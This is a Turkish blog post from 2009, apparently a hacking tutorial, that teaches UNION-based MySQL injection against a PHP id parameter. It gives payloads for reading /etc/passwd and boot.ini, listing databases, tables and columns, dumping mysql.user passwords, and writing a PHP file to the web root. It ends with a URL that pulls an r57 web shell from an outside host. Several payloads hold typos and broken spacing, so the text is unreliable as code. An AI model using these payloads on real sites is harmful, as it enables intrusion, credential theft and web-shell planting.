11 Haziran 2009 Perşembe

MySQL İnjection Anlatım

Mysql İnjection:

önce kolon sayısını öğrenelim

thenesa.php?id=-1+order+by+xxx--
xx yerine 1,2,10 v.s sayı yazarak kolon öğreniyoruz

kolon sayımız 3 olsun

thenesa.php?id=-1+union+select+0,1,2--

bu şekle dönüştü.

kolonu sayısını bulduk

eğer kolonlar görünmüyosa id'yi -1 99999 -99999

v.s yani kullanılmayan id lerden bitane seçersek sonuç verçektir.

kolon sayılarını eşitledik.

şimdi Load_file ile dosya okuyalım.

eğer makina linux ise

thenesa.php?id=-1+union+select+0,1,
load_file(/etc/passwd)--

engel varsa hexleriz veya char kullanırız.

thenesa.php?=9999999 union select 0,1,
unhex(hex(/etc/passwd)—

thenesa.php?=9999999 union select 0,1,
char(47,101,116,99,47,112,97,115,115,119,100)—

char da benzer şekilde mantık ' vs engelli

karekterleri kullanmama yerine char hex v.s kullanma.

bu şekilde /etc/passwd okuyoruz.

eğer windovs ise

boot.ini‘yi okuyabiliriz

thenesa.php?id=-1+union+select+0,1,
load_file(c:/boot.ini)--

thenesa.php?id=-1+union+select+0,1,load_file
(0×633a2f626f6f742e696 e69)--

işte bu şekilde okuyorus burda config felan okuyabilirsiniz
veya ilerde göreceğimiz dosya uzantısı bulup rfi yiyen dosya
upload edebiliriz v.s geliştirmek size kalmış.

mysql Version'u bulalım.versiyon 4'lerde
tablo kolon tahmin edebilirsiniz.aynen acces gibi.
version 5'lerde tablo kolon çekebilirsiniz.


thenesa.php?id=-9999+union+select+0,1,@@version--

duruma göre hexleyin veya char felan işte..

versiyon 5 varsayalım .information_schema
tablo kolon çekelim.


önce dbleri çekelim

thenesa.php?id=-9999+union+select+0,1,schema_name
+from+information .schemata+limit1,1--

limit 1,1 limit 2.1 v.s yaparak diğer veritablarını alırız.

thenesa.php?id=-9999+union+select+0,1,
group_concat(schema_name)+fr om+information.schemata--

Group ile hepsini alırıs.

şimdi tablo adlarını alalım.

thenesa.php?id=--9999+union+select+0,1,table_name
+from+INFORMATION_ SCHEMA.TABLES+where+
table_schema=’dbadi’+limit 1,1--

limit 1,1 limit 2.1 v.s yaparak diğer tabloları alırız. .

thenesa.php?id=--9999+union+select+0,1,
group_concat(table_name)+fro m+I
NFORMATION_SCHEMA.TABLES+where+
table_schema=’db adi’--

Group ile hepsini alırıs.

kolon adlarınıda alalım.

thenesa.php?id=-9999+union+select+0,1,
COLUMN_NAME+from+INFORMATION _SCHEMA.
COLUMNS+where+table_name=
'tabloadi'+limit+ 1,1--

limit 1,1 limit 2.1 v.s yaparak diğer columnları alırız.

thenesa.php?id=-9999+union+select+0,1,
group_concat(COLUMN_NAME)+fr om+I
NFORMATION_SCHEMA.COLUMNS
+where+table_name='ta bloadi'--

Group ile hepsini alırıs.


mysql kullanıcı adi ve şifre alalım.

thenesa.php?id=-9999+union+select+
user,password+from+mysql.user--

burdan mysql bağlanabilirsiniz..


into outfile ile rfi açalım.

into outfile ile rfi(Remote File İnclusion) açığı oluşturabiliriz.

tabi önce sitein dosya yolunu bulcaz.Onu load_file kullanarak bulabilirsiniz.

bulduk diyelim.

home/nesa/public_html/

yazılabilir bi yere uygulayalım.

thenesa.php?id=-9999+union+select+
''+into+outfile+'/home/nesa/public_html
/images/nesa.php'--

site thenesa.com olsun mesela
thenesa.com/images/nesa.php?nesa=
http://thenesa.by.ru/r57.txt?


Tamamen TheNeSa Tarafından Düzenlenmiştir.

iletişim: msn@thenesa.com - thenesa.blogspot.com

by TheNeSa

Hiç yorum yok:

Yorum Gönder